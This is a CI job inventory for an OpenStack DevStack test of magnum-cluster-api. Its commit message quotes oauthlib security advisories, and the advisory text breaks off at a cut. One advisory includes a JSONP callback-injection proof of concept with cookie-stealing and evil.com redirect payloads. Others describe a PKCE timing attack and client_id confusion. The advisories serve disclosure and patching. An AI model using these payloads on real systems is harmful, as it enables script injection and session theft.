all:
  children:
    tempest:
      hosts:
        controller: null
    zuul_unreachable:
      hosts: {}
  hosts:
    controller:
      ansible_connection: ssh
      ansible_host: 162.253.55.128
      ansible_port: 22
      ansible_python_interpreter: auto
      ansible_user: zuul
      configure_swap_size: 8192
      devstack_local_conf:
        post-config:
          $NEUTRON_CONF:
            DEFAULT:
              global_physnet_mtu: '{{ external_bridge_mtu }}'
          /etc/magnum/magnum.conf:
            cluster_template:
              kubernetes_allowed_network_drivers: calico,cilium
              kubernetes_default_network_driver: calico
            nova_client:
              api_version: 2.15
          /etc/manila/manila.conf:
            generic:
              connect_share_server_to_tenant_network: true
              driver_handles_share_servers: true
      devstack_localrc:
        ADMIN_PASSWORD: secretadmin
        DATABASE_PASSWORD: secretdatabase
        DEBUG_LIBVIRT_COREDUMPS: true
        DISABLE_AMP_IMAGE_BUILD: true
        ENABLE_SYSCTL_MEM_TUNING: true
        ENABLE_SYSCTL_NET_TUNING: true
        ENABLE_ZSWAP: true
        ERROR_ON_CLONE: true
        FIXED_RANGE: 10.1.0.0/20
        FLOATING_RANGE: 172.24.5.0/24
        GIT_BASE: https://github.com
        HOST_IP: '{{ hostvars[''controller''][''nodepool''][''private_ipv4''] }}'
        IPV4_ADDRS_SAFE_TO_USE: 10.1.0.0/20
        LIBVIRT_TYPE: '{{ devstack_libvirt_type | default("qemu") }}'
        LOGFILE: /opt/stack/logs/devstacklog.txt
        LOG_COLOR: false
        MAGNUM_GUEST_IMAGE_URL: '{{ image_url }}'
        MANILA_DEFAULT_SHARE_TYPE_EXTRA_SPECS: snapshot_support=True create_share_from_snapshot_support=True
        MANILA_ENABLED_BACKENDS: generic
        MANILA_USE_SERVICE_INSTANCE_PASSWORD: true
        NETWORK_GATEWAY: 10.1.0.1
        NOVA_LIBVIRT_TB_CACHE_SIZE: 128
        NOVA_VNC_ENABLED: true
        OCTAVIA_NODE: api
        OVN_DBS_LOG_LEVEL: dbg
        PUBLIC_BRIDGE_MTU: '{{ external_bridge_mtu }}'
        PUBLIC_NETWORK_GATEWAY: 172.24.5.1
        RABBIT_PASSWORD: secretrabbit
        SERVICE_HOST: '{{ hostvars[''controller''][''nodepool''][''private_ipv4'']
          }}'
        SERVICE_PASSWORD: secretservice
        SWIFT_HASH: 1234123412341234
        SWIFT_REPLICAS: 1
        SWIFT_START_ALL_SERVICES: false
        VERBOSE: true
        VERBOSE_NO_TIMESTAMP: true
      devstack_plugins:
        barbican: https://github.com/openstack/barbican
        magnum: https://review.opendev.org/openstack/magnum
        magnum-cluster-api: https://github.com/vexxhost/magnum-cluster-api
        manila: https://github.com/openstack/manila
        octavia: https://github.com/openstack/octavia
        ovn-octavia-provider: https://github.com/openstack/ovn-octavia-provider
      devstack_services:
        base: false
        c-api: true
        c-bak: true
        c-sch: true
        c-vol: true
        dstat: true
        etcd3: true
        file_tracker: true
        g-api: true
        horizon: false
        key: true
        memory_tracker: true
        mysql: true
        n-api: true
        n-api-meta: true
        n-cond: true
        n-cpu: true
        n-novnc: true
        n-sch: true
        o-api: true
        o-da: true
        o-hk: true
        octavia: true
        openstack-cli-server: true
        ovn-controller: true
        ovn-northd: true
        ovs-vswitchd: true
        ovsdb-server: true
        placement-api: true
        q-ovn-agent: true
        q-svc: true
        rabbit: true
        s-account: false
        s-container: false
        s-object: false
        s-proxy: false
        tempest: false
        tls-proxy: true
      extensions_to_txt:
        auto: true
        conf: true
        localrc: true
        log: true
        stackenv: true
      image_prefix: ubuntu-24.04
      image_release: 2026.05-7
      image_url: https://github.com/vexxhost/capo-image-elements/releases/download/{{
        image_release }}/{{ image_prefix }}-{{ kube_tag }}.qcow2
      kube_tag: v1.36.1
      network_driver: cilium
      nodepool:
        az: yul2
        cloud: public
        external_id: c9d4754a-7f3f-47e3-a302-5d741850eb34
        host_id: e2217f7b4f5379e78de6cffbe6e55a6dab535d06d17c0222e96954e4
        interface_ip: 162.253.55.128
        label: ubuntu-noble-16
        node_properties: {}
        private_ipv4: 162.253.55.128
        private_ipv6: null
        provider: yul1
        public_ipv4: 162.253.55.128
        public_ipv6: 2604:e100:1:0:f816:3eff:fec1:1a64
        region: ca-ymq-1
        slot: null
      zuul_copy_output:
        /etc/ceph: logs
        /etc/glusterfs/glusterd.vol: logs
        /etc/libvirt: logs
        /etc/lvm: logs
        /etc/resolv.conf: logs
        /etc/sudoers: logs
        /etc/sudoers.d: logs
        /var/log/ceph: logs
        /var/log/glusterfs: logs
        /var/log/libvirt: logs
        /var/log/mysql: logs
        /var/log/openvswitch: logs
        /var/log/postgresql: logs
        /var/log/rabbitmq: logs
        /var/log/unbound.log: logs
        '{{ devstack_conf_dir }}/.localrc.auto': logs
        '{{ devstack_conf_dir }}/.stackenv': logs
        '{{ devstack_conf_dir }}/local.conf': logs
        '{{ devstack_conf_dir }}/localrc': logs
        '{{ devstack_full_log}}': logs
        '{{ devstack_log_dir }}/atop': logs
        '{{ devstack_log_dir }}/devstacklog.txt': logs
        '{{ devstack_log_dir }}/devstacklog.txt.summary': logs
        '{{ devstack_log_dir }}/dstat-csv.log': logs
        '{{ devstack_log_dir }}/qemu.coredump': logs
        '{{ devstack_log_dir }}/tcpdump.pcap': logs
        '{{ devstack_log_dir }}/worlddump-latest.txt': logs
        '{{ stage_dir }}/apache': logs
        '{{ stage_dir }}/apache_config': logs
        '{{ stage_dir }}/audit.log': logs
        '{{ stage_dir }}/core': logs
        '{{ stage_dir }}/deprecations.log': logs
        '{{ stage_dir }}/df.txt': logs
        '{{ stage_dir }}/dpkg-l.txt': logs
        '{{ stage_dir }}/etc': logs
        '{{ stage_dir }}/iptables.txt': logs
        '{{ stage_dir }}/listen53.txt': logs
        '{{ stage_dir }}/mount.txt': logs
        '{{ stage_dir }}/performance.json': logs
        '{{ stage_dir }}/pip2-freeze.txt': logs
        '{{ stage_dir }}/pip3-freeze.txt': logs
        '{{ stage_dir }}/rpm-qa.txt': logs
        '{{ stage_dir }}/services.txt': logs
        '{{ stage_dir }}/verify_tempest_conf.log': logs
      zuul_node:
        az: yul2
        cloud: public
        external_id: c9d4754a-7f3f-47e3-a302-5d741850eb34
        host_id: e2217f7b4f5379e78de6cffbe6e55a6dab535d06d17c0222e96954e4
        interface_ip: 162.253.55.128
        label: ubuntu-noble-16
        node_properties: {}
        private_ipv4: 162.253.55.128
        private_ipv6: null
        provider: yul1
        public_ipv4: 162.253.55.128
        public_ipv6: 2604:e100:1:0:f816:3eff:fec1:1a64
        region: ca-ymq-1
        slot: null
        uuid: null
  vars:
    configure_swap_size: 8192
    devstack_local_conf:
      post-config:
        $NEUTRON_CONF:
          DEFAULT:
            global_physnet_mtu: '{{ external_bridge_mtu }}'
        /etc/magnum/magnum.conf:
          cluster_template:
            kubernetes_allowed_network_drivers: calico,cilium
            kubernetes_default_network_driver: calico
          nova_client:
            api_version: 2.15
        /etc/manila/manila.conf:
          generic:
            connect_share_server_to_tenant_network: true
            driver_handles_share_servers: true
    devstack_localrc:
      ADMIN_PASSWORD: secretadmin
      DATABASE_PASSWORD: secretdatabase
      DEBUG_LIBVIRT_COREDUMPS: true
      DISABLE_AMP_IMAGE_BUILD: true
      ENABLE_SYSCTL_MEM_TUNING: true
      ENABLE_SYSCTL_NET_TUNING: true
      ENABLE_ZSWAP: true
      ERROR_ON_CLONE: true
      FIXED_RANGE: 10.1.0.0/20
      FLOATING_RANGE: 172.24.5.0/24
      GIT_BASE: https://github.com
      HOST_IP: '{{ hostvars[''controller''][''nodepool''][''private_ipv4''] }}'
      IPV4_ADDRS_SAFE_TO_USE: 10.1.0.0/20
      LIBVIRT_TYPE: '{{ devstack_libvirt_type | default("qemu") }}'
      LOGFILE: /opt/stack/logs/devstacklog.txt
      LOG_COLOR: false
      MAGNUM_GUEST_IMAGE_URL: '{{ image_url }}'
      MANILA_DEFAULT_SHARE_TYPE_EXTRA_SPECS: snapshot_support=True create_share_from_snapshot_support=True
      MANILA_ENABLED_BACKENDS: generic
      MANILA_USE_SERVICE_INSTANCE_PASSWORD: true
      NETWORK_GATEWAY: 10.1.0.1
      NOVA_LIBVIRT_TB_CACHE_SIZE: 128
      NOVA_VNC_ENABLED: true
      OCTAVIA_NODE: api
      OVN_DBS_LOG_LEVEL: dbg
      PUBLIC_BRIDGE_MTU: '{{ external_bridge_mtu }}'
      PUBLIC_NETWORK_GATEWAY: 172.24.5.1
      RABBIT_PASSWORD: secretrabbit
      SERVICE_HOST: '{{ hostvars[''controller''][''nodepool''][''private_ipv4''] }}'
      SERVICE_PASSWORD: secretservice
      SWIFT_HASH: 1234123412341234
      SWIFT_REPLICAS: 1
      SWIFT_START_ALL_SERVICES: false
      VERBOSE: true
      VERBOSE_NO_TIMESTAMP: true
    devstack_plugins:
      barbican: https://github.com/openstack/barbican
      magnum: https://review.opendev.org/openstack/magnum
      magnum-cluster-api: https://github.com/vexxhost/magnum-cluster-api
      manila: https://github.com/openstack/manila
      octavia: https://github.com/openstack/octavia
      ovn-octavia-provider: https://github.com/openstack/ovn-octavia-provider
    devstack_services:
      base: false
      c-api: true
      c-bak: true
      c-sch: true
      c-vol: true
      dstat: true
      etcd3: true
      file_tracker: true
      g-api: true
      horizon: false
      key: true
      memory_tracker: true
      mysql: true
      n-api: true
      n-api-meta: true
      n-cond: true
      n-cpu: true
      n-novnc: true
      n-sch: true
      o-api: true
      o-da: true
      o-hk: true
      octavia: true
      openstack-cli-server: true
      ovn-controller: true
      ovn-northd: true
      ovs-vswitchd: true
      ovsdb-server: true
      placement-api: true
      q-ovn-agent: true
      q-svc: true
      rabbit: true
      s-account: false
      s-container: false
      s-object: false
      s-proxy: false
      tempest: false
      tls-proxy: true
    extensions_to_txt:
      auto: true
      conf: true
      localrc: true
      log: true
      stackenv: true
    image_prefix: ubuntu-24.04
    image_release: 2026.05-7
    image_url: https://github.com/vexxhost/capo-image-elements/releases/download/{{
      image_release }}/{{ image_prefix }}-{{ kube_tag }}.qcow2
    kube_tag: v1.36.1
    network_driver: cilium
    zuul:
      _inheritance_path:
      - '<Job base explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: vexxhost/zuul-config/zuul.d/jobs.yaml@main#1>'
      - '<Job openstack-multinode-fips explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: vexxhost/zuul-config/zuul.d/jobs.yaml@main#17>'
      - '<Job devstack-base explicit: None implied: {MatchAny:{ImpliedBranchMatcher:master}}
        source: openstack/devstack/.zuul.yaml@master#378>'
      - '<Job devstack-minimal explicit: None implied: {MatchAny:{ImpliedBranchMatcher:master}}
        source: openstack/devstack/.zuul.yaml@master#512>'
      - '<Job devstack explicit: None implied: {MatchAny:{ImpliedBranchMatcher:master}}
        source: openstack/devstack/.zuul.yaml@master#555>'
      - '<Job magnum-cluster-api-devstack explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: vexxhost/magnum-cluster-api/zuul.d/jobs.yaml@main#14>'
      - '<Job magnum-cluster-api-hydrophone explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: vexxhost/magnum-cluster-api/zuul.d/hydrophone-jobs.yaml@main#25>'
      - '<Job magnum-cluster-api-hydrophone-v1.36.1 explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: vexxhost/magnum-cluster-api/zuul.d/hydrophone-jobs.yaml@main#85>'
      - '<Job magnum-cluster-api-hydrophone-v1.36.1-cilium explicit: None implied:
        {MatchAny:{ImpliedBranchMatcher:main}} source: vexxhost/magnum-cluster-api/zuul.d/hydrophone-jobs.yaml@main#96>'
      - '<Job magnum-cluster-api-hydrophone-v1.36.1-cilium explicit: None implied:
        None source: vexxhost/magnum-cluster-api/zuul.d/hydrophone-jobs.yaml@main#1>'
      ansible_version: '9'
      attempts: 1
      branch: main
      build: 12966d029a504653a2deb2a67a2b6512
      build_refs:
      - branch: main
        change: '1174'
        change_message: "chore(deps): update dependency oauthlib to v4 [security]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [oauthlib](https://redirect.github.com/oauthlib/oauthlib) ([changelog](https://redirect.github.com/oauthlib/oauthlib/blob/master/CHANGELOG.rst))
          | `3.3.1` \u2192 `4.0.1` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/oauthlib/4.0.1?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/oauthlib/3.3.1/4.0.1?slim=true)
          |\n\n---\n\n### Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint
          allows arbitrary JavaScript response generation\n[CVE-2026-49264](https://nvd.nist.gov/vuln/detail/CVE-2026-49264)
          / [GHSA-hj66-6f7g-4r5v](https://redirect.github.com/advisories/GHSA-hj66-6f7g-4r5v)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nWhen `enable_jsonp=True`,
          oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter
          directly into JavaScript response bodies on both success and error paths
          without validating that it is a legal JSONP callback name. This allows arbitrary
          JavaScript response generation instead of a restricted function call, making
          the documented JSONP revocation feature unsafe for browser-based JSONP consumption
          when attackers can influence `callback`.\n\n##### Details\n\nThe issue is
          in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True`
          is passed to the `RevocationEndpoint` constructor, two code paths wrap the
          response body using the user-supplied `request.callback` parameter:\n\n```python\n\n#####
          Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n
          \   response_body = '{}({});'.format(request.callback, response_body)\n\n#####
          Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n
          \   response_body = request.callback + '();'\n```\n\nThe `request.callback`
          value comes from HTTP request parameters, either the query string or POST
          body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which
          merges query and body parameters into `_params`. Any value the client sends
          as `callback` is used verbatim.\n\nThere is no validation of any kind on
          the callback parameter:\n- No check that it is a valid JavaScript identifier\n-
          No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe
          JSONP implementation must validate that the callback is a legal JavaScript
          function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this,
          the attacker controls the JavaScript code returned in the response body.
          This is the standard mitigation used by jQuery, Express.js, Google APIs,
          and other major JSONP implementations.\n\n**How the injection works:**\n\nAn
          attacker sends a revocation request with a crafted callback value:\n\n```\nPOST
          /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything&callback=alert(document.cookie)//\n```\n\nThe
          server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis
          is syntactically valid JavaScript. `alert(document.cookie)` executes as
          a statement, and `//` comments out the rest of the line. The attacker has
          full control over the code that appears before the `//`.\n\n**Execution
          context and attack surface:**\n\nJSONP works by having a browser load a
          remote script via `<script src=\"...\">`. The loaded script executes in
          the origin of the **including page**, not the remote server. This means
          a `<script src=\"https://auth.example.com/revoke?token=x&callback=payload\">`
          tag on `evil.com` would execute the payload in `evil.com`'s context, not
          the auth server's context.\n\nThe impact comes from client-side integrations
          that consume this endpoint as trusted JSONP. If a legitimate OAuth client
          includes `<script src>` pointed at the revocation endpoint and an attacker
          can influence the callback value (e.g., via query parameter injection, a
          reflected value, or a man-in-the-middle downgrade), the attacker controls
          what code runs in the client application's origin. The authorization server
          becomes a source of attacker-controlled JavaScript that client applications
          trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`,
          so only deployments that explicitly opt in are affected. However, this is
          a supported, documented library feature, not a debug flag. The client-side
          library includes `prepare_token_revocation_request()` with an explicit `callback`
          parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation
          shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`,
          lines 351-358). The existing test suite tests JSONP callback reflection
          with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does
          not test for injection. Deployments that enable JSONP typically do so to
          support older browsers or cross-origin revocation from JavaScript clients,
          these are exactly the environments most sensitive to script injection.\n\n#####
          PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install
          oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation
          import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator
          import RequestValidator\n\nclass FailValidator(RequestValidator):\n    \"\"\"Auth
          fails -> triggers error response path (lines 72-73).\"\"\"\n    def client_authentication_required(self,
          request, *a, **kw): return True\n    def authenticate_client(self, request,
          *a, **kw): return False\n    def authenticate_client_id(self, client_id,
          request, *a, **kw): return False\n\nclass PassValidator(RequestValidator):\n
          \   \"\"\"Auth passes -> triggers success response path (lines 81-82).\"\"\"\n
          \   def client_authentication_required(self, request, *a, **kw): return
          False\n    def authenticate_client_id(self, client_id, request, *a, **kw):
          return True\n    def revoke_token(self, token, token_type_hint, request,
          *a, **kw): pass\n\npayloads = [\n    \"alert(document.cookie)//\",\n    \"window.location='https://evil.com/'//\",\n
          \   \"eval('malicious')//\",\n]\n\n##### --- Error path (401) ---\nprint(\"Error
          path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(),
          enable_jsonp=True)\nfor p in payloads:\n    h, body, status = ep_fail.create_revocation_response(\n
          \       \"https://auth.example.com/revoke\", http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n
          \   assert p in body, \"Payload not reflected\"\n    print(f\"  [{status}]
          Content-Type: {h.get('Content-Type','(none)')}  Body: {body}\")\n\n#####
          --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True,
          revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(),
          enable_jsonp=True)\nfor p in payloads:\n    h, body, status = ep_pass.create_revocation_response(\n
          \       \"https://auth.example.com/revoke\", http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n
          \   assert p in body, \"Payload not reflected\"\n    print(f\"  [{status}]
          Content-Type: {h.get('Content-Type','(none)')}  Body: {body}\")\n\n#####
          --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False,
          default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_,
          body, status = ep_safe.create_revocation_response(\n    \"https://auth.example.com/revoke\",
          http_method=\"POST\",\n    body=\"token=x&callback=alert(1)//\")\nassert
          \"alert\" not in body, \"Payload should not be present\"\nprint(f\"  [{status}]
          {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError
          path (enable_jsonp=True, auth fails):\n  [401] Content-Type: application/json
          \ Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n  [401]
          Content-Type: application/json  Body: window.location='https://evil.com/'//({\"error\":
          \"invalid_client\"});\n  [401] Content-Type: application/json  Body: eval('malicious')//({\"error\":
          \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n
          \ [200] Content-Type: (none)  Body: alert(document.cookie)//();\n  [200]
          Content-Type: (none)  Body: window.location='https://evil.com/'//();\n  [200]
          Content-Type: (none)  Body: eval('malicious')//();\n\nControl (enable_jsonp=False,
          default):\n  [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth
          paths reflect the attacker's payload verbatim into the response body.\n\n#####
          Impact\n\nAny oauthlib-based authorization server that enables JSONP on
          the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled
          JavaScript in its response body.\n\nAny page or application that loads this
          endpoint's response as JSONP and exposes attacker influence over the `callback`
          parameter will execute attacker-controlled code in its own origin. If a
          legitimate OAuth client uses JSONP revocation (as documented by oauthlib's
          client-side API) and an attacker can influence the callback value, the attacker
          controls what code runs in the client application, including access to the
          client page's DOM and any data normally accessible to scripts running in
          that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser
          support. Deployments that need it are typically JavaScript-heavy clients,
          exactly the environment most sensitive to script injection.\n\n**Affected
          versions:** oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized
          callback has been present since the revocation endpoint was first introduced
          in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit
          `b85f89a`) but no validation of the callback value was ever added.\n\n#####
          Suggested fix\n\nValidate the `callback` parameter against a strict pattern
          for legal JavaScript identifiers before using it in the response. Reject
          or ignore values that do not match:\n\n```python\nimport re\n\n##### Only
          allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN
          = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n#####
          In create_revocation_response(), before using request.callback:\nif self.enable_jsonp
          and request.callback:\n    if not JSONP_CALLBACK_PATTERN.match(request.callback):\n
          \       request.callback = None\n```\n\nThis is the standard mitigation
          for JSONP callback injection and is the approach used by jQuery, Express.js,
          and Google APIs. It ensures only syntactically valid function names like
          `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs
          a secondary hardening measure, when JSONP is enabled, the response should
          set `Content-Type: application/javascript` (not `application/json` or empty)
          to ensure correct browser handling. Currently the success path returns no
          Content-Type at all, and the error path returns `application/json`.\n\nAlternatively,
          if JSONP is no longer considered a necessary feature, consider deprecating
          and removing the `enable_jsonp` option entirely. CORS is now supported by
          all modern browsers and is the standard mechanism for cross-origin API access.\n\n####
          Severity\n- CVSS Score: 6.1 / 10 (Medium)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`\n\n####
          References\n- [https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v](https://redirect.github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v)\n-
          [https://github.com/oauthlib/oauthlib/pull/951](https://redirect.github.com/oauthlib/oauthlib/pull/951)\n-
          [https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c](https://redirect.github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-49264](https://nvd.nist.gov/vuln/detail/CVE-2026-49264)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml)\n-
          [https://github.com/advisories/GHSA-hj66-6f7g-4r5v](https://redirect.github.com/advisories/GHSA-hj66-6f7g-4r5v)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-hj66-6f7g-4r5v)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)\n[CVE-2026-49265](https://nvd.nist.gov/vuln/detail/CVE-2026-49265)
          / [GHSA-xpv3-w29h-x7cv](https://redirect.github.com/advisories/GHSA-xpv3-w29h-x7cv)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nA timing side-channel
          vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization
          Code Grant flow. The `code_challenge_method_plain` function \nuses Python's
          standard `==` operator for string comparison instead of a \nconstant-time
          comparison function, potentially allowing timing-based attacks.\n\n#####
          Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n-
          Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n-
          Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n##### Technical
          Details\n\nPython's `==` operator uses short-circuit evaluation when comparing
          strings:\n1. Returns `False` immediately if lengths differ\n2. Compares
          characters left-to-right, stopping at first mismatch\n\nThis means comparison
          time varies linearly with the length of the common prefix \nbetween the
          attacker-supplied verifier and the stored challenge, creating a \nmeasurable
          timing oracle.\n\n##### Proof of Concept\n\nTested locally against oauthlib
          source (network jitter eliminated to isolate \npure Python execution time):\n\n|
          Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char
          (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 +
          `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe
          ~37ms delta over 10M iterations corresponds to nanosecond-level differences
          \nper call, which are statistically exploitable under controlled conditions.\n\n#####
          Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom
          URI Scheme Hijacking\n2. PKCE blocks token request \u2014 attacker lacks
          `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint
          measuring response times\n4. Using timing oracle, attacker recovers `code_verifier`
          character by character\n5. Attacker obtains Access Token \u2192 Account
          Takeover\n\n> **Note:** Practical exploitability is limited due to the single-use
          nature of \n> authorization codes and real-world network noise. However,
          the vulnerable \n> pattern should be corrected as a defense-in-depth measure.\n\n#####
          Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time
          comparison:\n\ncr: Elvin Latifli\n\n#### Severity\n- CVSS Score: 6.8 / 10
          (Medium)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N`\n\n####
          References\n- [https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv](https://redirect.github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv)\n-
          [https://github.com/oauthlib/oauthlib/pull/963](https://redirect.github.com/oauthlib/oauthlib/pull/963)\n-
          [https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950](https://redirect.github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-49265](https://nvd.nist.gov/vuln/detail/CVE-2026-49265)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4114.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4114.yaml)\n-
          [https://github.com/advisories/GHSA-xpv3-w29h-x7cv](https://redirect.github.com/advisories/GHSA-xpv3-w29h-x7cv)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-xpv3-w29h-x7cv)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          OAuthLib: Token grants can use attacker-supplied client_id for authorization
          after authenticating a different client\n[CVE-2026-118669](https://nvd.nist.gov/vuln/detail/CVE-2026-118669)
          / [GHSA-7984-qgvg-3j9c](https://redirect.github.com/advisories/GHSA-7984-qgvg-3j9c)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nOAuthlib's token
          grant handlers can authenticate one client while authorizing the grant type
          and requested scopes using a different, attacker-supplied `client_id` from
          the request body.\n\nIn affected token grant flows, `authenticate_client(request)`
          sets `request.client` to the authenticated client object, but OAuthlib does
          not require `request.client_id` to match `request.client.client_id`. If
          the request body already contains `client_id=...`, OAuthlib keeps that value
          and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs
          a result, an authenticated low-privilege confidential client can authenticate
          as itself, submit another client's `client_id` in the token request body,
          and cause grant and scope validation to run under that other client identity.\n\n#####
          Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint
          handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password
          Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n-
          the attacker has credentials for one valid lower-privilege confidential
          client;\n- another client has broader grants or scopes;\n- the application
          validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()`
          or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments
          whose validators ignore the `client_id` argument and authorize only from
          `request.client` may not be affected.\n\n##### Details\n\n`Request` parses
          query and body parameters into request attributes, including `client_id`:\n\n-
          https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe
          `RequestValidator.authenticate_client()` contract requires the integrator
          to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor
          the `client_credentials` grant, OAuthlib authenticates the client, verifies
          that `request.client` has a `client_id`, then performs grant and scope validation
          before normalizing `request.client_id` from `request.client.client_id`:\n\n-
          https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe
          problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n
          \   ...\nelif not hasattr(request.client, 'client_id'):\n    ...\n\nself.validate_grant_type(request)\n\nrequest.client_id
          = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause
          OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied
          body value such as `client_id=high` survives even when `request.client.client_id
          == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`,
          while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id,
          request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n-
          `validate_scopes(request.client_id, request.scopes, request.client, request)`:
          https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe
          same identity split exists in the Resource Owner Password Credentials flow.
          After client authentication and user validation, OAuthlib validates the
